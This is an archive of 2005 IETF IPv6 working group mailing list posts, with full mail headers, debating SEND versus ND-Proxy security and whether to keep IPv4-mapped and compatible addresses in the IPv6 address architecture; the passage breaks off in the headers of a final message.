From ipv6-bounces@ietf.org Tue Feb 1 00:32:56 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA25925 for ; Tue, 1 Feb 2005 00:32:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvqwt-0006J4-MH for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 00:51:40 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvqR3-0002mm-05; Tue, 01 Feb 2005 00:18:45 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvqPS-0001lH-Qi for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 00:17:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24269 for ; Tue, 1 Feb 2005 00:17:04 -0500 (EST) Received: from mail3.microsoft.com ([131.107.3.123]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvqhX-0005qx-Hd for ipv6@ietf.org; Tue, 01 Feb 2005 00:35:48 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail3.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Mon, 31 Jan 2005 21:16:33 -0800 Received: from red-hub-03.redmond.corp.microsoft.com ([157.54.2.25]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Mon, 31 Jan 2005 21:16:33 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Mon, 31 Jan 2005 21:16:32 -0800 Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Mon, 31 Jan 2005 21:16:32 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 31 Jan 2005 21:16:31 -0800 Message-ID: Thread-Topic: Request to Advance: [RESEND] Thread-Index: AcUIAdzDz6BGMktmRm6Bu8lqG9cPQgAGtJ3Q From: "Christian Huitema" To: "Erik Nordmark" , "Dave Thaler" X-OriginalArrivalTime: 01 Feb 2005 05:16:32.0375 (UTC) FILETIME=[31473070:01C5081D] X-Spam-Score: 0.0 (/) X-Scan-Signature: 1ac7cc0a4cd376402b85bc1961a86ac2 Content-Transfer-Encoding: quoted-printable Cc: Thomas Narten , Margaret Wasserman , Brian Haberman , Brian E Carpenter , IPv6 Subject: RE: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Content-Transfer-Encoding: quoted-printable > The general case of proxy ND, which this specification uses, can not > provide any security against MiTM because by definition the proxy is a > MiTM. Thus it is completely unreasonably to assume that SeND will solve > this. What do you mean, unreasonable? It is certainly possible to write and sign something like "I am a secure host, I am behind an proxy, and the proxy address ix X:Y:Z". Obviously, that places requirement on SEND or ND-Proxy. SEND would have to allow a new format, or ND-Proxy would have to allow some explicit proxy discovery. But it is certainly neither unreasonable nor impossible. -- Christian Huitema -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 01:44:43 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02322 for ; Tue, 1 Feb 2005 01:44:43 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvs4M-000825-Rw for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 02:03:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvrkD-0002S5-89; Tue, 01 Feb 2005 01:42:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvri8-0002B6-Si for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 01:40:29 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01999 for ; Tue, 1 Feb 2005 01:40:28 -0500 (EST) Received: from mail2.microsoft.com ([131.107.3.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvs0E-0007ub-8Q for ipv6@ietf.org; Tue, 01 Feb 2005 01:59:11 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Mon, 31 Jan 2005 22:39:55 -0800 Received: from red-hub-01.redmond.corp.microsoft.com ([157.54.7.71]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Mon, 31 Jan 2005 22:39:55 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Mon, 31 Jan 2005 22:39:54 -0800 Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Mon, 31 Jan 2005 22:39:54 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 31 Jan 2005 22:39:38 -0800 Message-ID: Thread-Topic: Request to Advance: [RESEND] Thread-Index: AcUIAdzDz6BGMktmRm6Bu8lqG9cPQgAGtJ3QAALMEhA= From: "Christian Huitema" To: "Christian Huitema" , "Erik Nordmark" , "Dave Thaler" X-OriginalArrivalTime: 01 Feb 2005 06:39:54.0141 (UTC) FILETIME=[D6901CD0:01C50828] X-Spam-Score: 0.0 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Content-Transfer-Encoding: quoted-printable Cc: Thomas Narten , Margaret Wasserman , Brian Haberman , Brian E Carpenter , IPv6 Subject: RE: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: quoted-printable So, thinking some more about it, I have this nasty feeling about the usefulness of SEND. Compare the two topologies: Host-A <---> learning bridge <---> Host-B Host-A <---> ND-Proxy <---> Host-B SEND will work just fine with the learning bridge topology, but will not work with the ND-Proxy topology. Yet, do you really believe that one is inherently more secure than the other? Learning bridges can do all kinds of interesting tricks, in fact more so than proxies.=20 SEND secures the mapping between an IPv6 address and a MAC address, but it does nothing to guarantee that the L2 topology actually delivers the packets to the intended destination. When we expand all that energy signing neighbor discovery packets, have we really improved security? -- Christian Huitema -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 02:19:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA19356 for ; Tue, 1 Feb 2005 02:19:25 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvsbw-0000MT-V0 for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 02:38:09 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvsBj-0001ix-Cg; Tue, 01 Feb 2005 02:11:03 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvijI-0004Qc-OU for ipv6@megatron.ietf.org; Mon, 31 Jan 2005 16:05:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21342 for ; Mon, 31 Jan 2005 16:05:02 -0500 (EST) Received: from mail.aloha.net ([64.75.176.98] helo=leka02.aloha.net) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvj1K-0006bX-26 for ipv6@ietf.org; Mon, 31 Jan 2005 16:23:42 -0500 Received: from localhost (localhost [127.0.0.1]) by localhost.aloha.net (Postfix) with ESMTP id EAD7959D8; Mon, 31 Jan 2005 11:05:01 -1000 (HST) Received: from leka02.aloha.net ([127.0.0.1]) by localhost (leka02 [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 11663-01-79; Mon, 31 Jan 2005 11:05:00 -1000 (HST) Received: from iwi.aloha.net (iwi.aloha.net [64.75.176.242]) by leka02.aloha.net (Postfix) with QMQP id 22A1B596C; Mon, 31 Jan 2005 11:05:00 -1000 (HST) Date: Mon, 31 Jan 2005 11:04:59 -1000 (HST) From: Antonio Querubin To: Bob Hinden In-Reply-To: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new at aloha.net X-Spam-Score: 0.0 (/) X-Scan-Signature: e5ba305d0e64821bf3d8bc5d3bb07228 X-Mailman-Approved-At: Tue, 01 Feb 2005 02:11:01 -0500 Cc: IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f On Mon, 31 Jan 2005, Bob Hinden wrote: > I am working on an update to the IPv6 address architecture. In doing this > I am working through the comments on the previous draft. One comment made > was to remove Section 2.5.5 "IPv6 Addresses with Embedded IPv4 Addresses" > from the document. This would include removing the special case in the > textual representation (section 2.2, 3.). > > I would like to solicit the working group's thoughts on this. I don't have > a strong opinion one way or another. It's not clear it has ever been that > useful and add a certain degree of complexity. On the other hand, it > appears in several places in the document and requires some careful > editing :-) IPv4-mapped addresses facilitate an important interoperability mechanism in the socket API (RFC 3493, section 3.7). While it's probably not a good idea to transmit these addresses on the wire, I think the API still needs a way to represent IPv4 addresses in a way that preserves compatibility between IPv6 and IPv4 hosts. Removal just makes transition all the more time-consuming and difficult for software developers. I'd rather see clarification of the use of embedded addresses in the document rather than complete removal. Ie. add a statement to the effect of 'Embedded addresses are intended for internal representation only'. Antonio Querubin Pacific LightNet Communications / Hawaii OnLine System Administrator tony@aloha.net (808) 791-2898 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 05:46:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA13181 for ; Tue, 1 Feb 2005 05:46:55 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvvqo-0005dG-2b for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 06:05:42 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvvV3-0003XV-Nl; Tue, 01 Feb 2005 05:43:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvvUQ-0003Pq-4V for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 05:42:34 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA12846 for ; Tue, 1 Feb 2005 05:42:32 -0500 (EST) Received: from castlerea.stdlib.net ([80.68.89.152] ident=mail) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvvmX-0005Wv-Bm for ipv6@ietf.org; Tue, 01 Feb 2005 06:01:18 -0500 Received: from colmmacc by castlerea.stdlib.net with local (Exim 4.41) id 1CvvTK-0005xF-Tc; Tue, 01 Feb 2005 10:41:27 +0000 Date: Tue, 1 Feb 2005 10:41:26 +0000 From: Colm MacCarthaigh To: Antonio Querubin Message-ID: <20050201104126.GA22682@castlerea.stdlib.net.> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Scan-Signature: 02ec665d00de228c50c93ed6b5e4fc1a Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by ietf.org id FAA12846 Cc: IPv6 WG , Bob Hinden Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: colm@stdlib.net List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: fb6060cb60c0cea16e3f7219e40a0a81 Content-Transfer-Encoding: quoted-printable On Mon, Jan 31, 2005 at 11:04:59AM -1000, Antonio Querubin wrote: > IPv4-mapped addresses facilitate an important interoperability mechanis= m > in the socket API (RFC 3493, section 3.7). While it's probably not a g= ood > idea to transmit these addresses on the wire, I think the API still nee= ds > a way to represent IPv4 addresses in a way that preserves compatibility > between IPv6 and IPv4 hosts. Removal just makes transition all the mor= e > time-consuming and difficult for software developers. Removal and formal deprecation would simplify life for software developers. As it currently stands some platforms now make it deliberately difficult (e.g. openbsd) to use this transition mechanism and others impossible (Win32).=20 Until recently some platforms (Linux for example) didn't support the IPV6_V6ONLY socket option, at all, but a deprecation might speed up transition to a single means of listening for packets. Currently the logic is somewhat convoluted, see http://svn.apache.org/viewcvs.cgi/apr/apr/trunk/network_io/unix/sockaddr= .c?view=3Dmarkup For an impression of complexity of interoperability support right now. Personally I like IPv4-mapped address sockets, but enough people havn't been convinced and many have intractable positions regarding their security. They are *never* going to form the basis of a useful transition mechanism now, all software - if it's going to be in anyway portable and useful - simply has to support IPV6_V6ONLY sockets aswell, and include all of that logic. We might aswell rid developers of the burden of having to cope with mapped-address sockets aswell. So: if has_v6only is true then listen(::) listen(0.0.0.0) use_[select|poll|kqueue|whatever]_loop() else listen(::) just becomes: listen(::) listen(0.0.0.0) use_[select|poll|kqueue|whatever]_loop() It may not look like much of a saving there, but it is definitely less complication. In Apache httpd and apr, it would easily lead less than half the ammount of code currently needed for dealing with IPv6. Don't forget there are other simplifications benefited, not using mapped addresses means that developers don't have to be paranoid about mapping ::ffef:1.1.1.1 to an IPv4 container for checking ACL's, DNS and so on (see apr_getnameinfo for the workarounds needed for more buggy platforms in this regard). Anyway, in summary, removal would in my opinion actually make transition much easier for software developers, not harder. Don't let the superficial ease of the mapped-address API fool you :) --=20 Colm MacC=E1rthaigh Public Key: colm+pgp@stdlib.ne= t -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 06:01:36 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14658 for ; Tue, 1 Feb 2005 06:01:36 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvw50-00063Q-8N for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 06:20:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvvlj-0006bV-UU; Tue, 01 Feb 2005 06:00:27 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvveP-0004sP-V4 for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 05:52:54 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA13689 for ; Tue, 1 Feb 2005 05:52:52 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvvwW-0005mZ-HZ for ipv6@ietf.org; Tue, 01 Feb 2005 06:11:38 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id BEF5F2403F; Tue, 1 Feb 2005 11:52:46 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 23384-02; Tue, 1 Feb 2005 11:52:46 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id EA88E2400C; Tue, 1 Feb 2005 11:52:44 +0100 (CET) From: Jeroen Massar To: colm@stdlib.net In-Reply-To: <20050201104126.GA22682@castlerea.stdlib.net.> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <20050201104126.GA22682@castlerea.stdlib.net.> Organization: Unfix Date: Tue, 01 Feb 2005 11:50:37 +0100 Message-Id: <1107255037.4242.46.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 Cc: Bob Hinden , Antonio Querubin , IPv6 WG Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0541426739==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 31247fb3be228bb596db9127becad0bc --===============0541426739== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-7ehtqk9We7c2QME1Y/P8" --=-7ehtqk9We7c2QME1Y/P8 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2005-02-01 at 10:41 +0000, Colm MacCarthaigh wrote: > On Mon, Jan 31, 2005 at 11:04:59AM -1000, Antonio Querubin wrote: > > IPv4-mapped addresses facilitate an important interoperability mechanis= m > > in the socket API (RFC 3493, section 3.7). While it's probably not a g= ood > > idea to transmit these addresses on the wire, I think the API still nee= ds > > a way to represent IPv4 addresses in a way that preserves compatibility > > between IPv6 and IPv4 hosts. Removal just makes transition all the mor= e > > time-consuming and difficult for software developers. >=20 > Removal and formal deprecation would simplify life for software > developers. I support this argument in favor of removing mapped addresses. > So: >=20 > if has_v6only is true then > listen(::) > listen(0.0.0.0) > use_[select|poll|kqueue|whatever]_loop() > else > listen(::) >=20 > just becomes: >=20 > listen(::) > listen(0.0.0.0) > use_[select|poll|kqueue|whatever]_loop() Replace the listen(::) + listen(0.0.0.0) with a getaddrinfo() info loop and I completely agree ;) Greets, Jeroen --=-7ehtqk9We7c2QME1Y/P8 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBB/179KaooUjM+fCMRAl+uAKCnHyDDQe6Parn3NBHHCiukyryNFACgi6K+ yJBpBjATDqDqGZ2FA4XRFpo= =UMH1 -----END PGP SIGNATURE----- --=-7ehtqk9We7c2QME1Y/P8-- --===============0541426739== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0541426739==-- From ipv6-bounces@ietf.org Tue Feb 1 07:55:00 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26277 for ; Tue, 1 Feb 2005 07:55:00 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvxqm-0000kA-Hs for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 08:13:48 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvxR8-0002aV-2l; Tue, 01 Feb 2005 07:47:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvxKl-0001eH-7P for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 07:40:43 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25061 for ; Tue, 1 Feb 2005 07:40:41 -0500 (EST) Received: from mgw-x1.nokia.com ([131.228.20.21]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvxcu-0000EG-Qq for ipv6@ietf.org; Tue, 01 Feb 2005 07:59:29 -0500 Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158]) by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j11CeSO03866 for ; Tue, 1 Feb 2005 14:40:38 +0200 (EET) X-Scanned: Tue, 1 Feb 2005 14:27:21 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks003.ntc.nokia.com (8.12.9/8.12.9) id j11CRLTw017364 for ; Tue, 1 Feb 2005 14:27:21 +0200 Received: from mgw-int2.ntc.nokia.com (172.21.143.97) by esdks003.ntc.nokia.com 00enB8VP; Tue, 01 Feb 2005 14:27:18 EET Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77]) by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j11CRDx10151 for ; Tue, 1 Feb 2005 14:27:13 +0200 (EET) Received: from l5131412.nokia.com ([172.21.39.184]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Tue, 1 Feb 2005 14:27:13 +0200 Message-Id: <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 Date: Tue, 01 Feb 2005 04:27:11 -0800 To: IPv6 WG From: Bob Hinden In-Reply-To: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-OriginalArrivalTime: 01 Feb 2005 12:27:13.0340 (UTC) FILETIME=[5BB187C0:01C50859] X-Spam-Score: 0.0 (/) X-Scan-Signature: 82c9bddb247d9ba4471160a9a865a5f3 Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 Hi, In response to my question about keeping the "IPv6 Addresses with Embedded IPv4 Addresses" (e.g., compatible and mapped) I heard the following: "I think that at least all the BSD's and most Linuxes are using this. They allow binding on :: (IPv6 any) and also accept IPv4 connections on the same socket, which are then represented in netstat etc as ::ffff:1.2.3.4.", "IMO the section can be removed and programmers need to be learned the correct thing for which I always very inclined to point people to Eva's excellent document at http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and/or draft-ietf-v6ops-application-transition-02.txt" "They should not be removed. Implementations already support it, removing would just create confusion. I don't see any harm in keeping it in." "helps with porting applications" and "dropping this section will create confusion and chaos for the already ported applications" "Among other things, this would break the just published full Standard for URIs (RFC 3986).", "I suspect some people have used the ::10.1.2.3 format to carry IPv4 addresses in an IPv6 container, simply for convenience. I think this is very convenient and should be available.", " otoh the ::FFFF:10.1.2.3 format seems useless to me." "IPv4-mapped addresses facilitate an important interoperability mechanism in the socket API (RFC 3493, section 3.7).", "the API still needs a way to represent IPv4 addresses in a way that preserves compatibility between IPv6 and IPv4 hosts. Removal just makes transition all the more time-consuming and difficult for software developers. "rather see clarification of the use of embedded addresses in the document rather than complete removal. Ie. add a statement to the effect of 'Embedded addresses are intended for internal representation only'." "It is clear that the mapped addresses are widely used and useful, and a lot of people have raised their concerns about removing that.", "I suggest just simply removing compatibles." "Removal and formal deprecation would simplify life for software developers.", "We might as well rid developers of the burden of having to cope with mapped-address sockets as well.", "Anyway, in summary, removal would in my opinion actually make transition much easier for software developers, not harder. Don't let the superficial ease of the mapped-address API fool you :)" My take of this is that they should remain in the IPv6 address architecture. There is current usage and removing them would break other specifications. Thanks, Bob -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 09:12:46 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA05193 for ; Tue, 1 Feb 2005 09:12:46 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cvz43-0002ns-N1 for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 09:31:35 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cvyi7-00071m-9x; Tue, 01 Feb 2005 09:08:55 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CvyaH-0005cb-7e for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 09:00:49 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03810 for ; Tue, 1 Feb 2005 09:00:45 -0500 (EST) Received: from hermes.iu-bremen.de ([212.201.44.23]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CvysP-0002Qn-Or for ipv6@ietf.org; Tue, 01 Feb 2005 09:19:35 -0500 Received: from localhost (demetrius.iu-bremen.de [212.201.44.32]) by hermes.iu-bremen.de (Postfix) with ESMTP id 099C99AD3; Tue, 1 Feb 2005 15:00:13 +0100 (CET) Received: from hermes.iu-bremen.de ([212.201.44.23]) by localhost (demetrius [212.201.44.32]) (amavisd-new, port 10024) with ESMTP id 26326-05; Tue, 1 Feb 2005 15:00:12 +0100 (CET) Received: from james (unknown [10.50.242.227]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by hermes.iu-bremen.de (Postfix) with ESMTP id 362D09983; Tue, 1 Feb 2005 15:00:12 +0100 (CET) Received: from schoenw by james with local (Exim 4.34) id 1CvyZg-0001DI-2X; Tue, 01 Feb 2005 15:00:12 +0100 Date: Tue, 1 Feb 2005 15:00:12 +0100 From: Juergen Schoenwaelder To: Bob Hinden Message-ID: <20050201140012.GA4650@james> Mail-Followup-To: Bob Hinden , IPv6 WG References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> User-Agent: Mutt/1.5.6+20040907i X-Virus-Scanned: by amavisd-new 20030616p5 at 